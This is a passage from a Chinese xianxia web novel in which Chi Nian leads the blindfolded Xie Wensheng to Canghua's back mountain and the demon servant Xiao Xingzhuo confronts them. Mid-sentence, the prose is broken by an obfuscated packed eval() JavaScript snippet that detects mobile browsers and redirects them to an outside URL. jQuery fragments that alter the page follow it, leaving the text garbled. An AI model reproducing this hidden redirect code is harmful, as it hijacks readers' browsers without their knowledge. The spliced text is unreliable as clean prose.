“什么修习禁术,残害同门,都是莫须有!”池念趴在她的肩头,似孩子那般撒起泼来不管不顾,“咒术被研习出来就是让人学的,凭什么不让人学。至于那件事……”
池念话音一顿,语气硬过雪山磐石,“定是有人害你。”
谢闻笙身形一怔。她没有想过池念居然会无条件地相信她。
她甚至没有向自己寻求一个解释。
池念拉着她坐下,同她讲这桌上的美食都有什么,让谢闻笙挑选,池念便将盘子端到谢闻笙的身前。
二人说说笑笑,一如多日之前什么都未发生。
池念吃了个饱,瘫在椅子上打着嗝,看着谢闻笙苍白的脸,她缓缓坐起身,“你一直都待在长瀛殿里?”
谢闻笙拿着筷子的手一顿,随即点了点头,“自打灵脉破损后,我便没再离开过长瀛殿。”
她吃着碗里的饭菜,本想等着池念回话,却半晌也未听到,反而感受到一股透射而来的视线。
“待在长瀛殿也很好的。”谢闻笙安慰着她,“相较于神方域下的刑罚,这里的生活简直太安逸了些,可以吃个好饭,睡个好觉。”
“快活得很。”
话音一落,池念便牵着谢闻笙的手,“走,我带你出去转一圈,保证是你从未去过的地方。”
谢闻笙眉头一跳。
思来想去也没有想到苍华山上有什么地方是她没去过的。
她歪着头问,“果真?”
池念轻笑一声,“如假包换。”
苍华山的隆冬时节,天寒地冻,连呼吸都被结成雾气。池念牵着她走过窄小的路,几层石梯,又踏过一座石桥,这才到了苍华山的后山之地。
后山之上,有群山鹤立,灵鸟啼鸣。前方不远处有一座幽台,其下是一条澄澈结着些许冰花的湖泊,水雾氤氲,将此地的景色半遮半掩。
远看这群山霭霭,宛若天地幻梦,琳琅天上人间。又有飞瀑自群山之上湍急倾泻,映着天顶的日光,将此地划出一道长虹,梦幻至极。
池念贪婪地吸食着此地的天地灵气,不禁感慨,“这里是苍华山的后山,修真界灵气最富足之地。”
谢闻笙听着耳畔的潺潺流水声,只觉空气氤氲、清新,将心中的一切杂念洗涤抛弃。
池念耐心地给谢闻笙讲述着此地的布局还有不远处的群山与幽台。
“这里的两边种了凛松,上面都盖着厚厚的积雪,又白又绿。那条冰湖上居然还有一座廊庭。”
池念一边说着一边牵着她朝着廊庭走去。
“此地我竟真未曾听说过。”谢闻笙在苍华山好歹也是待了数月,如今有她不曾听闻的地方,不禁有些不可思议,“池师姐,是如何得知此地的?”
“听其他弟子说的。”池念四下张望,心思完全不在对话上,便一股脑地说着,“前几日师叔们将江楹音的尸体搬入了后山的佛堂,以保尸体不腐,这才叫弟子们得知了后山之地。”
谢闻笙却是不解,“若如池师姐所说,那师叔们便是没有刻意隐瞒后山,却又不透露其任何信息?”
“当真是奇怪极了……”
池念却没想那么多,大手一挥,从布袋里掏出一块大饼,咬了一大口,“不管那么多,猜不到师叔们的想法,只能猜到自己今晚吃什么,明天吃——”
池念的话还没说完,谢闻笙便感受到一只手拦在自己身前。她眉头轻蹙,正想询问,却倏听身前响起一道清冷、毫无情感的声音。
“姐姐。”
这一声,像一颗水滴落入她的心河,惊得谢闻笙心尖一跳。
池念眸光深谙,声色冷得不是一点,“你还有脸来见她?”
萧星酌双唇紧抿,看着羸弱、满是疲态的她,不禁浑身发抖。
“她不顾众人反对,将你带出锁妖塔成为她的妖仆,又将你安置在身边,怕你受到欺辱。”
“可我竟不知你们妖族这般正义凛然,会为了所谓的大道宏图,而出卖主人。”池念冷哼一声,面上涌现怒意,切齿道。
“当真是好一个人证。”
萧星酌张了张口,似是想说些什么。可池念却没有给他这个机会,她恶劣地扯了扯嘴角。
“投靠棠鹊的日子,过得如何?”池念扫了眼他毛躁没有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807493|177766||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
理清的白发,不禁轻笑一声,“莫不是新主子不好,反倒又念起旧主子了?”
萧星酌只是平静地扫了她一眼,仿佛池念所怒斥之人与他无关。
长风猎猎,吹落谢闻笙系好的眼纱。她紧闭着眼,竟是连伸出手接住眼纱的动作都无法完成。
她不敢相信。
萧星酌居然成为了棠鹊的妖仆……
那些曾经在锁妖塔的日日夜夜,竟抵不过这平平几日。
她的胸口又闷又沉,仿佛有颗石头压在心上。
萧星酌瞬影接住那条眼纱,冬风吹拂,眼纱的一角剐蹭着他的面颊,又痒又轻。
他伸出手,动作轻柔,帮谢闻笙系着眼纱。他的唇落在谢闻笙的耳畔,不经意间吻过她的发丝。
池念见状,简直气急,“你做什么?!”
萧星酌好似未听见,无视那震彻天地的喊声,继续把弄着眼纱的系带,这动作看起来好似将谢闻笙圈在怀里一样。
谢闻笙虽然不知他这不合时宜的动作是出于什么心态,可她却不想再由着他胡来,便作势推开他。
萧星酌察觉到怀中人的抵抗,不退反进,将人圈得更严实了些。
谢闻笙深知自己与他的力量悬殊,便不再挣扎,只冷声道,“离我远点。”
回应她的,是耳畔的轻笑。
“不可能。”
“轰——”,池念双手捏诀,一道灵光直直朝萧星酌袭来。
他微微侧过头,那道灵光自他的耳畔呼啸而过,打在不远处的水瀑之上,炸开一片飞瀑。
强烈的气流吹起他耳边的白发,拂过他的面颊,却露出那双遂蓝悠长的眼。
萧星酌借由这个机会将谢闻笙紧紧搂在怀里,瞥向池念的眼神里满是得意。
池念怒骂道,“卑鄙!”
谢闻笙被他禁锢在怀里,费力挣扎了起来,她也毫不客气,“滚开!”
萧星酌却一把强硬地扣住了她的头。
他的声音一如从前,可那语调却有着千差万别。他趴在谢闻笙的耳边,低语着。
“今夜酉时,我在此处幽台等你。”